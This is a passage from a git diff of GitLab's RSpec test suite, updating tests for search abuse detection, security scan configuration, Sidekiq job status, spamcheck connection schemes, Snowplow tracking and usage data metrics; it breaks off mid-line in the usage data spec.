+ describe '#query_string' do
+ let(:term) { 'term' }
+
+ it "uses 'search' parameter" do
+ params = described_class.new({ search: search })
+ expect(params.query_string).to eq(search)
+ end
+
+ it "uses 'term' parameter" do
+ params = described_class.new({ term: term })
+ expect(params.query_string).to eq(term)
+ end
+
+ it "prioritizes 'search' over 'term'" do
+ params = described_class.new({ search: search, term: term })
+ expect(params.query_string).to eq(search)
+ end
+
+ it 'strips surrounding whitespace from query string' do
+ params = described_class.new({ search: ' ' + search + ' ' })
+ expect(params.query_string).to eq(search)
+ end
+ end
+
+ describe '#validate' do
+ context 'when detect_abuse is disabled' do
+ let(:detect_abuse) { false }
+
+ it 'does NOT validate AbuseDetector' do
+ expect(Gitlab::Search::AbuseDetection).not_to receive(:new)
+ subject.validate
+ end
+ end
+
+ it 'validates AbuseDetector on validation' do
+ expect(Gitlab::Search::AbuseDetection).to receive(:new).and_call_original
+ subject.validate
+ end
+ end
+
+ describe '#valid?' do
+ context 'when detect_abuse is disabled' do
+ let(:detect_abuse) { false }
+
+ it 'does NOT validate AbuseDetector' do
+ expect(Gitlab::Search::AbuseDetection).not_to receive(:new)
+ subject.valid?
+ end
+ end
+
+ it 'validates AbuseDetector on validation' do
+ expect(Gitlab::Search::AbuseDetection).to receive(:new).and_call_original
+ subject.valid?
+ end
+ end
+
+ describe 'abuse detection' do
+ let(:abuse_detection) { instance_double(Gitlab::Search::AbuseDetection) }
+
+ before do
+ allow(subject).to receive(:abuse_detection).and_return abuse_detection
+ allow(abuse_detection).to receive(:errors).and_return abuse_errors
+ end
+
+ context 'when there are abuse validation errors' do
+ let(:abuse_errors) { { foo: ['bar'] } }
+
+ it 'is considered abusive' do
+ expect(subject).to be_abusive
+ end
+ end
+
+ context 'when there are NOT any abuse validation errors' do
+ let(:abuse_errors) { {} }
+
+ context 'and there are other validation errors' do
+ it 'is NOT considered abusive' do
+ allow(subject).to receive(:valid?) do
+ subject.errors.add :project_id, 'validation error unrelated to abuse'
+ false
+ end
+
+ expect(subject).not_to be_abusive
+ end
+ end
+
+ context 'and there are NO other validation errors' do
+ it 'is NOT considered abusive' do
+ allow(subject).to receive(:valid?).and_return(true)
+
+ expect(subject).not_to be_abusive
+ end
+ end
+ end
+ end
+end
diff --git a/spec/lib/gitlab/security/scan_configuration_spec.rb b/spec/lib/gitlab/security/scan_configuration_spec.rb
new file mode 100644
index 00000000000..0af029968e8
--- /dev/null
+++ b/spec/lib/gitlab/security/scan_configuration_spec.rb
@@ -0,0 +1,64 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe ::Gitlab::Security::ScanConfiguration do
+ let_it_be(:project) { create(:project, :repository) }
+
+ let(:scan) { described_class.new(project: project, type: type, configured: configured) }
+
+ describe '#available?' do
+ subject { scan.available? }
+
+ let(:configured) { true }
+
+ context 'with a core scanner' do
+ let(:type) { :sast }
+
+ it { is_expected.to be_truthy }
+ end
+
+ context 'with custom scanner' do
+ let(:type) { :my_scanner }
+
+ it { is_expected.to be_falsey }
+ end
+ end
+
+ describe '#configured?' do
+ subject { scan.configured? }
+
+ let(:type) { :sast }
+ let(:configured) { false }
+
+ it { is_expected.to be_falsey }
+ end
+
+ describe '#configuration_path' do
+ subject { scan.configuration_path }
+
+ let(:configured) { true }
+
+ context 'with a non configurable scanner' do
+ let(:type) { :secret_detection }
+
+ it { is_expected.to be_nil }
+ end
+
+ context 'with licensed scanner for FOSS environment' do
+ let(:type) { :dast }
+
+ before do
+ stub_env('FOSS_ONLY', '1')
+ end
+
+ it { is_expected.to be_nil }
+ end
+
+ context 'with custom scanner' do
+ let(:type) { :my_scanner }
+
+ it { is_expected.to be_nil }
+ end
+ end
+end
diff --git a/spec/lib/gitlab/sidekiq_enq_spec.rb b/spec/lib/gitlab/sidekiq_enq_spec.rb
deleted file mode 100644
index 6903f01bf5f..00000000000
--- a/spec/lib/gitlab/sidekiq_enq_spec.rb
+++ /dev/null
@@ -1,93 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe Gitlab::SidekiqEnq, :clean_gitlab_redis_queues do
- let(:retry_set) { Sidekiq::Scheduled::SETS.first }
- let(:schedule_set) { Sidekiq::Scheduled::SETS.last }
-
- around do |example|
- freeze_time { example.run }
- end
-
- shared_examples 'finds jobs that are due and enqueues them' do
- before do
- Sidekiq.redis do |redis|
- redis.zadd(retry_set, (Time.current - 1.day).to_f.to_s, '{"jid": 1}')
- redis.zadd(retry_set, Time.current.to_f.to_s, '{"jid": 2}')
- redis.zadd(retry_set, (Time.current + 1.day).to_f.to_s, '{"jid": 3}')
-
- redis.zadd(schedule_set, (Time.current - 1.day).to_f.to_s, '{"jid": 4}')
- redis.zadd(schedule_set, Time.current.to_f.to_s, '{"jid": 5}')
- redis.zadd(schedule_set, (Time.current + 1.day).to_f.to_s, '{"jid": 6}')
- end
- end
-
- it 'enqueues jobs that are due' do
- expect(Sidekiq::Client).to receive(:push).with({ 'jid' => 1 })
- expect(Sidekiq::Client).to receive(:push).with({ 'jid' => 2 })
- expect(Sidekiq::Client).to receive(:push).with({ 'jid' => 4 })
- expect(Sidekiq::Client).to receive(:push).with({ 'jid' => 5 })
-
- Gitlab::SidekiqEnq.new.enqueue_jobs
-
- Sidekiq.redis do |redis|
- expect(redis.zscan_each(retry_set).map(&:first)).to contain_exactly('{"jid": 3}')
- expect(redis.zscan_each(schedule_set).map(&:first)).to contain_exactly('{"jid": 6}')
- end
- end
- end
-
- context 'when atomic_sidekiq_scheduler is disabled' do
- before do
- stub_feature_flags(atomic_sidekiq_scheduler: false)
- end
-
- it_behaves_like 'finds jobs that are due and enqueues them'
-
- context 'when ZRANGEBYSCORE returns a job that is already removed by another process' do
- before do
- Sidekiq.redis do |redis|
- redis.zadd(schedule_set, Time.current.to_f.to_s, '{"jid": 1}')
-
- allow(redis).to receive(:zrangebyscore).and_wrap_original do |m, *args, **kwargs|
- m.call(*args, **kwargs).tap do |jobs|
- redis.zrem(schedule_set, jobs.first) if args[0] == schedule_set && jobs.first
- end
- end
- end
- end
-
- it 'calls ZREM but does not enqueue the job' do
- Sidekiq.redis do |redis|
- expect(redis).to receive(:zrem).with(schedule_set, '{"jid": 1}').twice.and_call_original
- end
- expect(Sidekiq::Client).not_to receive(:push)
-
- Gitlab::SidekiqEnq.new.enqueue_jobs
- end
- end
- end
-
- context 'when atomic_sidekiq_scheduler is enabled' do
- before do
- stub_feature_flags(atomic_sidekiq_scheduler: true)
- end
-
- context 'when Lua script is not yet loaded' do
- before do
- Gitlab::Redis::Queues.with { |redis| redis.script(:flush) }
- end
-
- it_behaves_like 'finds jobs that are due and enqueues them'
- end
-
- context 'when Lua script is already loaded' do
- before do
- Gitlab::SidekiqEnq.new.enqueue_jobs
- end
-
- it_behaves_like 'finds jobs that are due and enqueues them'
- end
- end
-end
diff --git a/spec/lib/gitlab/sidekiq_logging/structured_logger_spec.rb b/spec/lib/gitlab/sidekiq_logging/structured_logger_spec.rb
index d801b84775b..210b9162be0 100644
--- a/spec/lib/gitlab/sidekiq_logging/structured_logger_spec.rb
+++ b/spec/lib/gitlab/sidekiq_logging/structured_logger_spec.rb
@@ -272,12 +272,12 @@ RSpec.describe Gitlab::SidekiqLogging::StructuredLogger do
expected_end_payload.merge(
'db_duration_s' => a_value >= 0.1,
'db_count' => a_value >= 1,
- "db_replica_#{db_config_name}_count" => 0,
+ "db_#{db_config_name}_replica_count" => 0,
'db_replica_duration_s' => a_value >= 0,
'db_primary_count' => a_value >= 1,
- "db_primary_#{db_config_name}_count" => a_value >= 1,
+ "db_#{db_config_name}_count" => a_value >= 1,
'db_primary_duration_s' => a_value > 0,
- "db_primary_#{db_config_name}_duration_s" => a_value > 0
+ "db_#{db_config_name}_duration_s" => a_value > 0
)
end
diff --git a/spec/lib/gitlab/sidekiq_middleware/server_metrics_spec.rb b/spec/lib/gitlab/sidekiq_middleware/server_metrics_spec.rb
index 914f5a30c3a..3fbd207c2e1 100644
--- a/spec/lib/gitlab/sidekiq_middleware/server_metrics_spec.rb
+++ b/spec/lib/gitlab/sidekiq_middleware/server_metrics_spec.rb
@@ -239,6 +239,8 @@ RSpec.describe Gitlab::SidekiqMiddleware::ServerMetrics do
shared_context 'worker declaring data consistency' do
let(:worker_class) { LBTestWorker }
+ let(:wal_locations) { { Gitlab::Database::MAIN_DATABASE_NAME.to_sym => 'AB/12345' } }
+ let(:job) { { "retry" => 3, "job_id" => "a180b47c-3fd6-41b8-81e9-34da61c3400e", "wal_locations" => wal_locations } }
before do
stub_const('LBTestWorker', Class.new(TestWorker))
diff --git a/spec/lib/gitlab/sidekiq_status/client_middleware_spec.rb b/spec/lib/gitlab/sidekiq_status/client_middleware_spec.rb
index 0cf05fb0a5c..2f2499753b9 100644
--- a/spec/lib/gitlab/sidekiq_status/client_middleware_spec.rb
+++ b/spec/lib/gitlab/sidekiq_status/client_middleware_spec.rb
@@ -1,14 +1,25 @@
# frozen_string_literal: true
-require 'spec_helper'
+require 'fast_spec_helper'
RSpec.describe Gitlab::SidekiqStatus::ClientMiddleware do
describe '#call' do
- it 'tracks the job in Redis' do
- expect(Gitlab::SidekiqStatus).to receive(:set).with('123', Gitlab::SidekiqStatus::DEFAULT_EXPIRATION)
+ context 'when the job has status_expiration set' do
+ it 'tracks the job in Redis with a value of 2' do
+ expect(Gitlab::SidekiqStatus).to receive(:set).with('123', 1.hour.to_i, value: 2)
- described_class.new
- .call('Foo', { 'jid' => '123' }, double(:queue), double(:pool)) { nil }
+ described_class.new
+ .call('Foo', { 'jid' => '123', 'status_expiration' => 1.hour.to_i }, double(:queue), double(:pool)) { nil }
+ end
+ end
+
+ context 'when the job does not have status_expiration set' do
+ it 'tracks the job in Redis with a value of 1' do
+ expect(Gitlab::SidekiqStatus).to receive(:set).with('123', Gitlab::SidekiqStatus::DEFAULT_EXPIRATION, value: 1)
+
+ described_class.new
+ .call('Foo', { 'jid' => '123' }, double(:queue), double(:pool)) { nil }
+ end
end
end
end
diff --git a/spec/lib/gitlab/sidekiq_status_spec.rb b/spec/lib/gitlab/sidekiq_status_spec.rb
index fc2ac29a1f9..1e7b52471b0 100644
--- a/spec/lib/gitlab/sidekiq_status_spec.rb
+++ b/spec/lib/gitlab/sidekiq_status_spec.rb
@@ -12,6 +12,31 @@ RSpec.describe Gitlab::SidekiqStatus, :clean_gitlab_redis_queues, :clean_gitlab_
Sidekiq.redis do |redis|
expect(redis.exists(key)).to eq(true)
expect(redis.ttl(key) > 0).to eq(true)
+ expect(redis.get(key)).to eq(described_class::DEFAULT_VALUE.to_s)
+ end
+ end
+
+ it 'allows overriding the expiration time' do
+ described_class.set('123', described_class::DEFAULT_EXPIRATION * 2)
+
+ key = described_class.key_for('123')
+
+ Sidekiq.redis do |redis|
+ expect(redis.exists(key)).to eq(true)
+ expect(redis.ttl(key) > described_class::DEFAULT_EXPIRATION).to eq(true)
+ expect(redis.get(key)).to eq(described_class::DEFAULT_VALUE.to_s)
+ end
+ end
+
+ it 'allows overriding the default value' do
+ described_class.set('123', value: 2)
+
+ key = described_class.key_for('123')
+
+ Sidekiq.redis do |redis|
+ expect(redis.exists(key)).to eq(true)
+ expect(redis.ttl(key) > 0).to eq(true)
+ expect(redis.get(key)).to eq('2')
end
end
end
@@ -88,7 +113,7 @@ RSpec.describe Gitlab::SidekiqStatus, :clean_gitlab_redis_queues, :clean_gitlab_
end
end
- describe 'completed' do
+ describe '.completed_jids' do
it 'returns the completed job' do
expect(described_class.completed_jids(%w(123))).to eq(['123'])
end
@@ -100,4 +125,46 @@ RSpec.describe Gitlab::SidekiqStatus, :clean_gitlab_redis_queues, :clean_gitlab_
expect(described_class.completed_jids(%w(123 456 789))).to eq(['789'])
end
end
+
+ describe '.job_status' do
+ it 'returns an array of boolean values' do
+ described_class.set('123')
+ described_class.set('456')
+ described_class.unset('123')
+
+ expect(described_class.job_status(%w(123 456 789))).to eq([false, true, false])
+ end
+
+ it 'handles an empty array' do
+ expect(described_class.job_status([])).to eq([])
+ end
+
+ context 'when log_implicit_sidekiq_status_calls is enabled' do
+ it 'logs keys that contained the default value' do
+ described_class.set('123', value: 2)
+ described_class.set('456')
+ described_class.set('012')
+
+ expect(Sidekiq.logger).to receive(:info).with(message: described_class::DEFAULT_VALUE_MESSAGE,
+ keys: [described_class.key_for('456'), described_class.key_for('012')])
+
+ expect(described_class.job_status(%w(123 456 789 012))).to eq([true, true, false, true])
+ end
+ end
+
+ context 'when log_implicit_sidekiq_status_calls is disabled' do
+ before do
+ stub_feature_flags(log_implicit_sidekiq_status_calls: false)
+ end
+
+ it 'does not perform any logging' do
+ described_class.set('123', value: 2)
+ described_class.set('456')
+
+ expect(Sidekiq.logger).not_to receive(:info)
+
+ expect(described_class.job_status(%w(123 456 789))).to eq([true, true, false])
+ end
+ end
+ end
end
diff --git a/spec/lib/gitlab/spamcheck/client_spec.rb b/spec/lib/gitlab/spamcheck/client_spec.rb
index e542ce455bb..a6e7665569c 100644
--- a/spec/lib/gitlab/spamcheck/client_spec.rb
+++ b/spec/lib/gitlab/spamcheck/client_spec.rb
@@ -32,6 +32,30 @@ RSpec.describe Gitlab::Spamcheck::Client do
stub_application_setting(spam_check_endpoint_url: endpoint)
end
+ describe 'url scheme' do
+ let(:stub) { double(:spamcheck_stub, check_for_spam_issue: response) }
+
+ context 'is tls ' do
+ let(:endpoint) { 'tls://spamcheck.example.com'}
+
+ it 'uses secure connection' do
+ expect(Spamcheck::SpamcheckService::Stub).to receive(:new).with(endpoint.sub(%r{^tls://}, ''),
+ instance_of(GRPC::Core::ChannelCredentials),
+ anything).and_return(stub)
+ subject
+ end
+ end
+
+ context 'is grpc' do
+ it 'uses insecure connection' do
+ expect(Spamcheck::SpamcheckService::Stub).to receive(:new).with(endpoint.sub(%r{^grpc://}, ''),
+ :this_channel_is_insecure,
+ anything).and_return(stub)
+ subject
+ end
+ end
+ end
+
describe '#issue_spam?' do
before do
allow_next_instance_of(::Spamcheck::SpamcheckService::Stub) do |instance|
diff --git a/spec/lib/gitlab/subscription_portal_spec.rb b/spec/lib/gitlab/subscription_portal_spec.rb
index 4be1c85f7c8..627d3bb42c7 100644
--- a/spec/lib/gitlab/subscription_portal_spec.rb
+++ b/spec/lib/gitlab/subscription_portal_spec.rb
@@ -56,6 +56,7 @@ RSpec.describe ::Gitlab::SubscriptionPortal do
where(:method_name, :result) do
:default_subscriptions_url | 'https://customers.staging.gitlab.com'
:payment_form_url | 'https://customers.staging.gitlab.com/payment_forms/cc_validation'
+ :registration_validation_form_url | 'https://customers.staging.gitlab.com/payment_forms/cc_registration_validation'
:subscriptions_graphql_url | 'https://customers.staging.gitlab.com/graphql'
:subscriptions_more_minutes_url | 'https://customers.staging.gitlab.com/buy_pipeline_minutes'
:subscriptions_more_storage_url | 'https://customers.staging.gitlab.com/buy_storage'
@@ -63,6 +64,7 @@ RSpec.describe ::Gitlab::SubscriptionPortal do
:subscriptions_plans_url | 'https://about.gitlab.com/pricing/'
:subscriptions_instance_review_url | 'https://customers.staging.gitlab.com/instance_review'
:subscriptions_gitlab_plans_url | 'https://customers.staging.gitlab.com/gitlab_plans'
+ :edit_account_url | 'https://customers.staging.gitlab.com/customers/edit'
end
with_them do
diff --git a/spec/lib/gitlab/tracking/destinations/snowplow_micro_spec.rb b/spec/lib/gitlab/tracking/destinations/snowplow_micro_spec.rb
index 6004698d092..2b94eaa2db9 100644
--- a/spec/lib/gitlab/tracking/destinations/snowplow_micro_spec.rb
+++ b/spec/lib/gitlab/tracking/destinations/snowplow_micro_spec.rb
@@ -48,4 +48,24 @@ RSpec.describe Gitlab::Tracking::Destinations::SnowplowMicro do
end
end
end
+
+ describe '#options' do
+ let_it_be(:group) { create :group }
+
+ before do
+ stub_env('SNOWPLOW_MICRO_URI', 'http://gdk.test:9091')
+ end
+
+ it 'includes protocol with the correct value' do
+ expect(subject.options(group)[:protocol]).to eq 'http'
+ end
+
+ it 'includes port with the correct value' do
+ expect(subject.options(group)[:port]).to eq 9091
+ end
+
+ it 'includes forceSecureTracker with value false' do
+ expect(subject.options(group)[:forceSecureTracker]).to eq false
+ end
+ end
end
diff --git a/spec/lib/gitlab/tracking/destinations/snowplow_spec.rb b/spec/lib/gitlab/tracking/destinations/snowplow_spec.rb
index f8e73a807c6..06cc2d3800c 100644
--- a/spec/lib/gitlab/tracking/destinations/snowplow_spec.rb
+++ b/spec/lib/gitlab/tracking/destinations/snowplow_spec.rb
@@ -29,7 +29,7 @@ RSpec.describe Gitlab::Tracking::Destinations::Snowplow do
expect(SnowplowTracker::Tracker)
.to receive(:new)
- .with(emitter, an_instance_of(SnowplowTracker::Subject), Gitlab::Tracking::SNOWPLOW_NAMESPACE, '_abc123_')
+ .with(emitter, an_instance_of(SnowplowTracker::Subject), described_class::SNOWPLOW_NAMESPACE, '_abc123_')
.and_return(tracker)
end
diff --git a/spec/lib/gitlab/tracking_spec.rb b/spec/lib/gitlab/tracking_spec.rb
index 61b2c89ffa1..cd83971aef9 100644
--- a/spec/lib/gitlab/tracking_spec.rb
+++ b/spec/lib/gitlab/tracking_spec.rb
@@ -13,6 +13,10 @@ RSpec.describe Gitlab::Tracking do
described_class.instance_variable_set("@snowplow", nil)
end
+ after do
+ described_class.instance_variable_set("@snowplow", nil)
+ end
+
describe '.options' do
shared_examples 'delegates to destination' do |klass|
before do
@@ -63,7 +67,7 @@ RSpec.describe Gitlab::Tracking do
appId: '_abc123_',
protocol: 'http',
port: 9090,
- force_secure_tracker: false,
+ forceSecureTracker: false,
formTracking: true,
linkClickTracking: true
}
diff --git a/spec/lib/gitlab/usage/metrics/aggregates/sources/postgres_hll_spec.rb b/spec/lib/gitlab/usage/metrics/aggregates/sources/postgres_hll_spec.rb
index 1ae4c9414dd..59b944ac398 100644
--- a/spec/lib/gitlab/usage/metrics/aggregates/sources/postgres_hll_spec.rb
+++ b/spec/lib/gitlab/usage/metrics/aggregates/sources/postgres_hll_spec.rb
@@ -11,6 +11,7 @@ RSpec.describe Gitlab::Usage::Metrics::Aggregates::Sources::PostgresHll, :clean_
let(:metric_1) { 'metric_1' }
let(:metric_2) { 'metric_2' }
let(:metric_names) { [metric_1, metric_2] }
+ let(:error_rate) { Gitlab::Database::PostgresHll::BatchDistinctCounter::ERROR_RATE }
describe 'metric calculations' do
before do
@@ -38,7 +39,7 @@ RSpec.describe Gitlab::Usage::Metrics::Aggregates::Sources::PostgresHll, :clean_
end
it 'returns the number of unique events in the union of all metrics' do
- expect(calculate_metrics_union.round(2)).to eq(3.12)
+ expect(calculate_metrics_union.round(2)).to be_within(error_rate).percent_of(3)
end
context 'when there is no aggregated data saved' do
@@ -53,7 +54,7 @@ RSpec.describe Gitlab::Usage::Metrics::Aggregates::Sources::PostgresHll, :clean_
let(:metric_names) { [metric_1] }
it 'returns the number of unique events for that metric' do
- expect(calculate_metrics_union.round(2)).to eq(2.08)
+ expect(calculate_metrics_union.round(2)).to be_within(error_rate).percent_of(2)
end
end
end
@@ -64,7 +65,7 @@ RSpec.describe Gitlab::Usage::Metrics::Aggregates::Sources::PostgresHll, :clean_
end
it 'returns the number of common events in the intersection of all metrics' do
- expect(calculate_metrics_intersections.round(2)).to eq(1.04)
+ expect(calculate_metrics_intersections.round(2)).to be_within(error_rate).percent_of(1)
end
context 'when there is no aggregated data saved' do
@@ -79,7 +80,7 @@ RSpec.describe Gitlab::Usage::Metrics::Aggregates::Sources::PostgresHll, :clean_
let(:metric_names) { [metric_1] }
it 'returns the number of common/unique events for the intersection of that metric' do
- expect(calculate_metrics_intersections.round(2)).to eq(2.08)
+ expect(calculate_metrics_intersections.round(2)).to be_within(error_rate).percent_of(2)
end
end
end
diff --git a/spec/lib/gitlab/usage/metrics/instrumentations/snowplow_configured_to_gitlab_collector_metric_spec.rb b/spec/lib/gitlab/usage/metrics/instrumentations/snowplow_configured_to_gitlab_collector_metric_spec.rb
new file mode 100644
index 00000000000..c9bc101374f
--- /dev/null
+++ b/spec/lib/gitlab/usage/metrics/instrumentations/snowplow_configured_to_gitlab_collector_metric_spec.rb
@@ -0,0 +1,22 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::Usage::Metrics::Instrumentations::SnowplowConfiguredToGitlabCollectorMetric do
+ using RSpec::Parameterized::TableSyntax
+
+ context 'for collector_hostname option' do
+ where(:collector_hostname, :expected_value) do
+ 'snowplow.trx.gitlab.net' | true
+ 'foo.bar.something.net' | false
+ end
+
+ with_them do
+ before do
+ stub_application_setting(snowplow_collector_hostname: collector_hostname)
+ end
+
+ it_behaves_like 'a correct instrumented metric value', { time_frame: 'none' }
+ end
+ end
+end
diff --git a/spec/lib/gitlab/usage/metrics/instrumentations/snowplow_enabled_metric_spec.rb b/spec/lib/gitlab/usage/metrics/instrumentations/snowplow_enabled_metric_spec.rb
new file mode 100644
index 00000000000..1e0cdd650fa
--- /dev/null
+++ b/spec/lib/gitlab/usage/metrics/instrumentations/snowplow_enabled_metric_spec.rb
@@ -0,0 +1,22 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::Usage::Metrics::Instrumentations::SnowplowEnabledMetric do
+ using RSpec::Parameterized::TableSyntax
+
+ context 'for snowplow enabled option' do
+ where(:snowplow_enabled, :expected_value) do
+ true | true
+ false | false
+ end
+
+ with_them do
+ before do
+ stub_application_setting(snowplow_enabled: snowplow_enabled)
+ end
+
+ it_behaves_like 'a correct instrumented metric value', { time_frame: 'none' }
+ end
+ end
+end
diff --git a/spec/lib/gitlab/usage/metrics/names_suggestions/generator_spec.rb b/spec/lib/gitlab/usage/metrics/names_suggestions/generator_spec.rb
index dbbc718e147..0f95da74ff9 100644
--- a/spec/lib/gitlab/usage/metrics/names_suggestions/generator_spec.rb
+++ b/spec/lib/gitlab/usage/metrics/names_suggestions/generator_spec.rb
@@ -25,30 +25,10 @@ RSpec.describe Gitlab::Usage::Metrics::NamesSuggestions::Generator do
end
context 'for count with default column metrics' do
- context 'with usage_data_instrumentation feature flag' do
- context 'when enabled' do
- before do
- stub_feature_flags(usage_data_instrumentation: true)
- end
-
- it_behaves_like 'name suggestion' do
- # corresponding metric is collected with ::Gitlab::UsageDataMetrics.suggested_names
- let(:key_path) { 'counts.boards' }
- let(:name_suggestion) { /count_boards/ }
- end
- end
-
- context 'when disabled' do
- before do
- stub_feature_flags(usage_data_instrumentation: false)
- end
-
- it_behaves_like 'name suggestion' do
- # corresponding metric is collected with count(Board)
- let(:key_path) { 'counts.boards' }
- let(:name_suggestion) { /count_boards/ }
- end
- end
+ it_behaves_like 'name suggestion' do
+ # corresponding metric is collected with count(Board)
+ let(:key_path) { 'counts.boards' }
+ let(:name_suggestion) { /count_boards/ }
end
end
diff --git a/spec/lib/gitlab/usage_data_spec.rb b/spec/lib/gitlab/usage_data_spec.rb
index cf544c07195..015ecd1671e 100644
--- a/spec/lib/gitlab/usage_data_spec.rb
+++ b/spec/lib/gitlab/usage_data_spec.rb
@@ -80,12 +80,6 @@ RSpec.describe Gitlab::UsageData, :aggregate_failures do
end
end
end
-
- it 'allows indifferent access' do
- allow(::Gitlab::UsageDataCounters::HLLRedisCounter).to receive(:unique_events).and_return(1)
- expect(subject[:search_unique_visits][:search_unique_visits_for_any_target_monthly]).to eq(1)
- expect(subject[:search_unique_visits]['search_unique_visits_for_any_target_monthly']).to eq(1)
- end
end
describe 'usage_activity_by_stage_package' do
@@ -205,7 +199,6 @@ RSpec.describe Gitlab::UsageData, :aggregate_failures do
for_defined_days_back do
user = create(:user)
user2 = create(:user)
- create(:event, author: user)
create(:group_member, user: user)
create(:authentication_event, user: user, provider: :ldapmain, result: :success)
create(:authentication_event, user: user2, provider: :ldapsecondary, result: :success)
@@ -214,17 +207,24 @@ RSpec.describe Gitlab::UsageData, :aggregate_failures do
create(:authentication_event, user: user, provider: :group_saml, result: :failed)
end
+ for_defined_days_back(days: [31, 29, 3]) do
+ create(:event)
+ end
+
+ stub_const('Gitlab::Database::PostgresHll::BatchDistinctCounter::DEFAULT_BATCH_SIZE', 1)
+ stub_const('Gitlab::Database::PostgresHll::BatchDistinctCounter::MIN_REQUIRED_BATCH_SIZE', 0)
+
expect(described_class.usage_activity_by_stage_manage({})).to include(
events: -1,
groups: 2,
- users_created: 6,
+ users_created: 10,
omniauth_providers: ['google_oauth2'],
user_auth_by_provider: { 'group_saml' => 2, 'ldap' => 4, 'standard' => 0, 'two-factor' => 0, 'two-factor-via-u2f-device' => 0, "two-factor-via-webauthn-device" => 0 }
)
expect(described_class.usage_activity_by_stage_manage(described_class.monthly_time_range_db_params)).to include(
- events: be_within(error_rate).percent_of(1),
+ events: be_within(error_rate).percent_of(2),
groups: 1,
- users_created: 3,
+ users_created: 6,
omniauth_providers: ['google_oauth2'],
user_auth_by_provider: { 'group_saml' => 1, 'ldap' => 2, 'standard' => 0, 'two-factor' => 0, 'two-factor-via-u2f-device' => 0, "two-factor-via-webauthn-device" => 0 }
)
@@ -457,42 +457,16 @@ RSpec.describe Gitlab::UsageData, :aggregate_failures do
)
end
- context 'with usage_data_instrumentation feature flag' do
- context 'when enabled' do
- it 'merges the data from instrumentation classes' do
- stub_feature_flags(usage_data_instrumentation: true)
-
- for_defined_days_back do
- user = create(:user)
- project = create(:project, creator: user)
- create(:issue, project: project, author: user)
- create(:issue, project: project, author: User.support_bot)
- end
-
- expect(described_class.usage_activity_by_stage_plan({})).to include(issues: Gitlab::Utils::UsageData::INSTRUMENTATION_CLASS_FALLBACK)
- expect(described_class.usage_activity_by_stage_plan(described_class.monthly_time_range_db_params)).to include(issues: Gitlab::Utils::UsageData::INSTRUMENTATION_CLASS_FALLBACK)
-
- uncached_data = described_class.uncached_data
- expect(uncached_data[:usage_activity_by_stage][:plan]).to include(issues: 3)
- expect(uncached_data[:usage_activity_by_stage_monthly][:plan]).to include(issues: 2)
- end
+ it 'does not merge the data from instrumentation classes' do
+ for_defined_days_back do
+ user = create(:user)
+ project = create(:project, creator: user)
+ create(:issue, project: project, author: user)
+ create(:issue, project: project, author: User.support_bot)
end
- context 'when disabled' do
- it 'does not merge the data from instrumentation classes' do
- stub_feature_flags(usage_data_instrumentation: false)
-
- for_defined_days_back do
- user = create(:user)
- project = create(:project, creator: user)
- create(:issue, project: project, author: user)
- create(:issue, project: project, author: User.support_bot)
- end
-
- expect(described_class.usage_activity_by_stage_plan({})).to include(issues: 3)
- expect(described_class.usage_activity_by_stage_plan(described_class.monthly_time_range_db_params)).to include(issues: 2)
- end
- end
+ expect(described_class.usage_activity_by_stage_plan({})).to include(issues: 3)
+ expect(described_class.usage_activity_by_stage_plan(described_class.monthly_time_range_db_params)).to include(issues: 2)
end
end
@@ -510,53 +484,17 @@ RSpec.describe Gitlab::UsageData, :aggregate_failures do
deployments: 2,
failed_deployments: 2,
releases: 2,
- successful_deployments: 2
+ successful_deployments: 2,
+ releases_with_milestones: 2
)
expect(described_class.usage_activity_by_stage_release(described_class.monthly_time_range_db_params)).to include(
deployments: 1,
failed_deployments: 1,
releases: 1,
- successful_deployments: 1
+ successful_deployments: 1,
+ releases_with_milestones: 1
)
end
-
- context 'with usage_data_instrumentation feature flag' do
- before do
- for_defined_days_back do
- user = create(:user)
- create(:deployment, :failed, user: user)
- release = create(:release, author: user)
- create(:milestone, project: release.project, releases: [release])
- create(:deployment, :success, user: user)
- end
- end
-
- context 'when enabled' do
- before do
- stub_feature_flags(usage_data_instrumentation: true)
- end
-
- it 'merges data from instrumentation classes' do
- expect(described_class.usage_activity_by_stage_release({})).to include(releases_with_milestones: Gitlab::Utils::UsageData::INSTRUMENTATION_CLASS_FALLBACK)
- expect(described_class.usage_activity_by_stage_release(described_class.monthly_time_range_db_params)).to include(releases_with_milestones: Gitlab::Utils::UsageData::INSTRUMENTATION_CLASS_FALLBACK)
-
- uncached_data = described_class.uncached_data
- expect(uncached_data[:usage_activity_by_stage][:release]).to include(releases_with_milestones: 2)
- expect(uncached_data[:usage_activity_by_stage_monthly][:release]).to include(releases_with_milestones: 1)
- end
- end
-
- context 'when disabled' do
- before do
- stub_feature_flags(usage_data_instrumentation: false)
- end
-
- it 'does not merge data from instrumentation classes' do
- expect(described_class.usage_activity_by_stage_release({})).to include(releases_with_milestones: 2)
- expect(described_class.usage_activity_by_stage_release(described_class.monthly_time_range_db_params)).to include(releases_with_milestones: 1)
- end
- end
- end
end
describe 'usage_activity_by_stage_verify' do
@@ -605,16 +543,15 @@ RSpec.describe Gitlab::UsageData, :aggregate_failures do
subject { described_class.data }
it 'gathers usage data' do
- expect(subject.keys).to include(*UsageDataHelpers::USAGE_DATA_KEYS.map(&:to_s))
+ expect(subject.keys).to include(*UsageDataHelpers::USAGE_DATA_KEYS)
end
it 'gathers usage counts', :aggregate_failures do
count_data = subject[:counts]
expect(count_data[:boards]).to eq(1)
expect(count_data[:projects]).to eq(4)
- count_keys = UsageDataHelpers::COUNTS_KEYS.map(&:to_s)
- expect(count_data.keys).to include(*count_keys)
- expect(count_keys - count_data.keys).to be_empty
+ expect(count_data.keys).to include(*UsageDataHelpers::COUNTS_KEYS)
+ expect(UsageDataHelpers::COUNTS_KEYS - count_data.keys).to be_empty
expect(count_data.values).to all(be_a_kind_of(Integer))
end
@@ -699,7 +636,7 @@ RSpec.describe Gitlab::UsageData, :aggregate_failures do
external_diffs: { enabled: false },
lfs: { enabled: true, object_store: { enabled: false, direct_upload: true, background_upload: false, provider: "AWS" } },
uploads: { enabled: nil, object_store: { enabled: false, direct_upload: true, background_upload: false, provider: "AWS" } },
- packages: { enabled: true, object_store: { enabled: false, direct_upload: false, background_upload: true, provider: "AWS" } } }.with_indifferent_access
